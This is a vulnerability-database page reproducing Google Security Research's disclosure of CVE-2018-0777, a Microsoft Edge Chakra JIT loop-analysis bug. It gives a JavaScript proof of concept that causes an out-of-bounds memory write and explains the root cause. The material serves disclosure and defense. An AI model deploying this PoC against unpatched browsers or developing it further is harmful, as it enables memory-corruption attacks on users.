Lucene search
K

Microsoft Edge Chakra JIT Loop Analysis Bug

🗓️ 18 Jan 2018 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 61 Views

Microsoft Edge Chakra JIT Loop Analysis Bug description with OOB write Po

Related
Code
`Microsoft Edge: Chakra: JIT: Loop analysis bug   
  
CVE-2018-0777  
  
  
Here's the PoC demonstrating OOB write.  
  
function opt(arr, start, end) {  
for (let i = start; i < end; i++) {  
if (i === 10) {  
i += 0; // <<-- (a)  
}  
arr[i] = 2.3023e-320;  
}  
}  
  
function main() {  
let arr = new Array(100);  
arr.fill(1.1);  
  
for (let i = 0; i < 1000; i++)  
opt(arr, 0, 3);  
  
opt(arr, 0, 100000);  
}  
  
main();  
  
What happens here is as follows:  
In the first loop analysis, (a) is a valid add operation. It's a relative operation to "i", so Chakra thinks it's a valid loop. The variable "i" now becomes an induction variable, and a LoopCount object is created. When the LoopCount object is created, the ValueInfo of "i" is IntBounded which contains relative bounds information.   
In the second loop analysis, (a) gets optimized and becomes a load operation which directly loads 10 to "i". It's no more relative operation, therefore the ValueInfo of "i" is not to be IntBounded. But the LoopCount object has already been created with the previous information. This leads Chakra to fail computing bounds which may result in OOB read/write.  
  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation